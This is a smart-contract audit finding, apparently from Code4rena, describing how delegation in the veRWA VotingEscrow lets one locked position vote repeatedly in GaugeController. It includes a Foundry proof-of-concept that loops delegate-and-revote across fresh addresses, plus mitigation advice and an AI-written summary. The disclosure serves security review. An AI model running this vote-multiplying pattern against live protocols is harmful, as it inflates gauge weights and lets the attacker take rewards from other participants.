Voters from VotingEscrow can vote infinite times in vote for gauge_weights() of GaugeController
The delegate mechanism in VotingEscrow allows a user to vote multiple times in GaugeController by delegating their voting power to another address and voting again. An attacker could inflate gauge weights and claim more tokens in LendingLedger.
0x73696d616f Follow with mert_eren, oakcobalt and 16 others
Originally disclosed on Code4rena
Submitted by 0x73696d616f, also found by mert_eren, oakcobalt, SpicyMeatball, Tricko, 0xComfyCat, QiuhaoLi, Team_Rocket, Yanchuan, immeas, GREY-HAWK-REACH, th13vn, 0xCiphky (1, 2), ltyu, deadrxsezzz, nonseodion, lanrebayode77, 0xDetermination, popular00, and kaden
https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356
Delegate mechanism in VotingEscrow allows infinite votes in vote_for_gauge_weights() in the GaugeController. Users can then, for example, claim more tokens in the LendingLedger in the market that they inflated the votes on.
Proof of Concept
VotingEscrow has a delegate mechanism which lets a user delegate the voting power to another user. The GaugeController allows voters who locked native in VotingEscrow to vote on the weight of a specific gauge.
Due to the fact that users can delegate their voting power in the VotingEscrow, they may vote once in a gauge by calling vote_for_gauge_weights(), delegate their votes to another address and then call again vote_for_gauge_weights() using this other address.
A POC was built in Foundry, add the following test to GaugeController.t.sol:
function testDelegateSystemMultipleVoting() public {
vm.deal(user1, 100 ether);
vm.startPrank(gov);
gc.add_gauge(user1);
gc.change_gauge_weight(user1, 100);
vm.stopPrank();
vm.deal(user2, 100 ether);
vm.startPrank(gov);
gc.add_gauge(user2);
gc.change_gauge_weight(user2, 100);
vm.stopPrank();
uint256 v = 10 ether;
vm.startPrank(user1);
ve.createLock{value: v}(v);
gc.vote_for_gauge_weights(user1, 10_000);
vm.stopPrank();
vm.startPrank(user2);
ve.createLock{value: v}(v);
gc.vote_for_gauge_weights(user2, 10_000);
vm.stopPrank();
uint256 expectedWeight_ = gc.get_gauge_weight(user1);
assertEq(gc.gauge_relative_weight(user1, 7 days), 50e16);
uint256 numDelegatedTimes_ = 20;
for (uint i_; i_ < numDelegatedTimes_; i_++) {
address fakeUserI_ = vm.addr(i_ + 27); // random num
vm.deal(fakeUserI_, 1);
vm.prank(fakeUserI_);
ve.createLock{value: 1}(1);
vm.prank(user1);
ve.delegate(fakeUserI_);
vm.prank(fakeUserI_);
gc.vote_for_gauge_weights(user1, 10_000);
}
// assert that the weight is approx numDelegatedTimes_ more than expected
assertEq(gc.get_gauge_weight(user1), expectedWeight_*(numDelegatedTimes_ + 1) - numDelegatedTimes_*100);
// relative weight has been increase by a lot, can be increased even more if wished
assertEq(gc.gauge_relative_weight(user1, 7 days), 954545454545454545);
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
The vulnerability comes from the fact that the voting power is fetched from the current timestamp, instead of n blocks in the past, allowing users to vote, delegate, vote again and so on. Thus, the voting power should be fetched from n blocks in the past.
Additionaly, note that this alone is not enough, because when the current block reaches n blocks in the future, the votes can be replayed again by having delegated to another user n blocks in the past. The exploit in this scenario would become more difficult, but still possible, such as: vote, delegate, wait n blocks, vote and so on. For this reason, a predefined window by the governance could be scheduled, in which users can vote on the weights of a gauge, n blocks in the past from the scheduled window start.
Chosen as best due to the clear and concise explanation, including business impact on the protocol, and including an executable PoC.
OpenCoreCH (veRWA) confirmed on duplicate finding 86
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the voting power is calculated from the current timestamp instead of a past block, allowing repeated voting after delegation.
Impact
An attacker could inflate a gauge's weight and claim more tokens in LendingLedger, as demonstrated by the PoC showing increased relative weight.
What the attacker needed
A locked token position in VotingEscrow; ability to create multiple addresses; governance adds gauges
The fix
The voting power should be fetched from n blocks in the past, and a predefined voting window should be scheduled to prevent replay after n blocks.
How it was found
- User1 locks tokens and votes for a gauge with full weight.
- User1 delegates voting power to a new address (fakeUser).
- FakeUser votes again for the same gauge with the delegated power.
- Repeat delegation and voting with multiple new addresses to inflate the gauge weight.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users lock tokens to get voting power, and they can let someone else use that power (delegation). The bug is that after voting, a user can delegate their power to a new address and vote again, repeating this to get many votes. This lets them unfairly increase a gauge's weight and earn more rewards.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.